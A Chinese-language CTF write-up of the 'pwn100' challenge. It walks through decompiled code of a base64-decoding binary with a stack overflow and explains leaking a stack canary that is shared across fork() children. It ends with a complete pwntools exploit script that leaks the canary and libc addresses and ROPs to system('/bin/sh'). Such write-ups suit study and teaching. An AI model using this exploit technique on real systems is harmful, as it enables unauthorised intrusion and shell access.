实验平台:
x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-154-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/Canary/pwn100
首先,checksec pwns
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
需要解决Canary问题,我们拖进IDA里看看。
int __cdecl main()
{
char v1; // [esp+1Bh] [ebp-5h]
__pid_t v2; // [esp+1Ch] [ebp-4h]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("I am a simple program");
while ( 1 )
{
puts("\nMay be I can know if you give me some data[Y/N]");
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != 10 && v1 )
;
v2 = fork();
if ( !v2 )
{
sub_8048B29();
puts("Finish!");
exit(0);
}
if ( v2 <= 0 )
{
if ( v2 == -1 )
{
puts("Something Wrong");
exit(0);
}
}
else
{
wait(0);
}
}
return 0;
}
unsigned int sub_8048B29()
{
return sub_80487E6();
}
unsigned int sub_80487E6()
{
char *v0; // edx
unsigned int v1; // ebx
char *v2; // edi
char *v3; // edx
int v4; // eax
int v5; // eax
int v6; // eax
unsigned __int8 i; // [esp+17h] [ebp-121h]
unsigned __int8 j; // [esp+17h] [ebp-121h]
unsigned __int8 k; // [esp+17h] [ebp-121h]
unsigned __int8 l; // [esp+17h] [ebp-121h]
int v12; // [esp+18h] [ebp-120h]
int v13; // [esp+1Ch] [ebp-11Ch]
int v14; // [esp+1Ch] [ebp-11Ch]
int v15; // [esp+1Ch] [ebp-11Ch]
char *dest; // [esp+20h] [ebp-118h]
unsigned __int8 s; // [esp+27h] [ebp-111h] BYREF
unsigned __int8 v18; // [esp+28h] [ebp-110h]
unsigned __int8 v19; // [esp+29h] [ebp-10Fh]
unsigned __int8 v20; // [esp+2Ah] [ebp-10Eh]
char v21[257]; // [esp+2Bh] [ebp-10Dh] BYREF
unsigned int v22; // [esp+12Ch] [ebp-Ch]
v22 = __readgsdword(0x14u);
dest = (char *)malloc(0x201u);
v0 = v21;
v1 = 257;
if ( ((unsigned __int8)v21 & 1) != 0 )
{
v21[0] = 0;
v0 = &v21[1];
v1 = 256;
}
if ( ((unsigned __int8)v0 & 2) != 0 )
{
*(_WORD *)v0 = 0;
v0 += 2;
v1 -= 2;
}
memset(v0, 0, 4 * (v1 >> 2));
v2 = &v0[4 * (v1 >> 2)];
v3 = v2;
if ( (v1 & 2) != 0 )
{
*(_WORD *)v2 = 0;
v3 = v2 + 2;
}
if ( (v1 & 1) != 0 )
*v3 = 0;
sub_80486FD(dest, 0x200u);
v12 = 0;
v13 = 0;
while ( dest[v12] )
{
memset(&s, 255, 4u);
for ( i = 0; i <= 0x3Fu; ++i )
{
if ( off_804A050[i] == dest[v12] )
s = i;
}
for ( j = 0; j <= 0x3Fu; ++j )
{
if ( off_804A050[j] == dest[v12 + 1] )
v18 = j;
}
for ( k = 0; k <= 0x3Fu; ++k )
{
if ( off_804A050[k] == dest[v12 + 2] )
v19 = k;
}
for ( l = 0; l <= 0x3Fu; ++l )
{
if ( off_804A050[l] == dest[v12 + 3] )
v20 = l;
}
v4 = v13;
v14 = v13 + 1;
v21[v4] = (v18 >> 4) & 3 | (4 * s);
if ( dest[v12 + 2] == 61 )
break;
v5 = v14;
v15 = v14 + 1;
v21[v5] = (v19 >> 2) & 0xF | (16 * v18);
if ( dest[v12 + 3] == 61 )
break;
v6 = v15;
v13 = v15 + 1;
v21[v6] = v20 & 0x3F | (v19 << 6);
v12 += 4;
}
printf("Result is:%s\n", v21);
return __readgsdword(0x14u) ^ v22;
}
ssize_t __cdecl sub_80486FD(char *dest, size_t nbytes)
{
ssize_t i; // [esp+14h] [ebp-14h]
char *buf; // [esp+18h] [ebp-10h]
ssize_t v5; // [esp+1Ch] [ebp-Ch]
buf = (char *)malloc(nbytes + 1);
puts("Give me some datas:\n");
v5 = read(0, buf, nbytes);
for ( i = 0; i < v5 && (isalnum(buf[i]) || buf[i] == 61 || buf[i] == 43 || buf[i] == 47); ++i )
;
buf[i] = 0;
if ( (i & 3) != 0 )
{
puts("Something is wrong\n");
exit(0);
}
strncpy(dest, buf, nbytes);
return i;
}
可以看出,程序的主要代码集中在sub_80487E6
,这么复杂我一点都不想看代码是什么意思。所以需要注意去看属于该函数的readonly data,看看是否能看出什么猫腻。
果不其然,off_804A050
指针指向了一串字符串ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
。聪明的你能够联想到什么呢?
应该是base64!不是加密就是解密。我试了一下,一看就不是加密。从网上找了个base64加密随便输点东西进去,把encode的内容放进程序里decode成功了。因此是base64decode。
程序调用sub_80486FD
做输入,限制base64的输入大小是0x200u
。栈溢出的利用点发生在sub_80487E6
中,base64解密直接把字符串放在栈的buffer上并且没检查边界。但是这道题因为有canary,所以我们还需要泄露Canary。
这道题故意在这里留了一个口子,它使用fork
创建子进程执行用户的输入,并且还是循环fork
。而fork
创建出来的程序,canary值是相同的,这给我们留下了可乘之机。我们借助128行的printf
把Canary泄露出来,然后泄露libc基址,调system
即可。
这里需要注意的是,可能是Stack-Protector的设计者,为避免Canary的泄露,特意把Canary的低8位设为全零,因此覆盖栈的时候要多覆盖一个byte。相应从输出中取得Canary值的时候要把这个byte减去。详细可见代码。
最终answer.py
如下:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64
context(arch = "i386",os = "linux", log_level = "debug")
p = process('./pwns')
elf = ELF('./pwns')
# Canary Leak
p.recvuntil("May be I can know if you give me some data[Y/N]\n")
confirm = "Y"
p.sendline(confirm)
p.recvuntil("Give me some datas:\n\n")
canary_payload = 257*'0' + '0'
canary_payload = base64.b64encode(canary_payload)
p.sendline(canary_payload)
p.recv(0x10b)
canary_value = u32(p.recv(4)) - 0x30
print("Canary: " + hex(canary_value))
# puts .got address leak
p.recvuntil("May be I can know if you give me some data[Y/N]\n")
p.sendline(confirm)
p.recvuntil("Give me some datas:\n\n")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
b64decode_func = 0x080487e6
puts_leak_payload = 257*'\x00' + p32(canary_value) + 8*'0' + p32(0) + p32(puts_plt) + p32(b64decode_func) + p32(puts_got)
puts_leak_payload = base64.b64encode(puts_leak_payload)
p.sendline(puts_leak_payload)
p.recvuntil("Result is:\n")
puts_libc = u32(p.recv(4))
# Query LibcSearcher
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
system_libc = libc_base + libc.dump('system')
binsh_libc = libc_base + libc.dump('str_bin_sh')
# ROP to Shell
retn_addr = 0x08048c27
p.recvuntil("Give me some datas:\n\n")
shell_payload = 257*'\x00' + p32(canary_value) + 8*'0' + p32(0) + p32(system_libc) + p32(b64decode_func) + p32(binsh_libc)
shell_payload = base64.b64encode(shell_payload)
p.sendline(shell_payload)
p.interactive()
参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78681846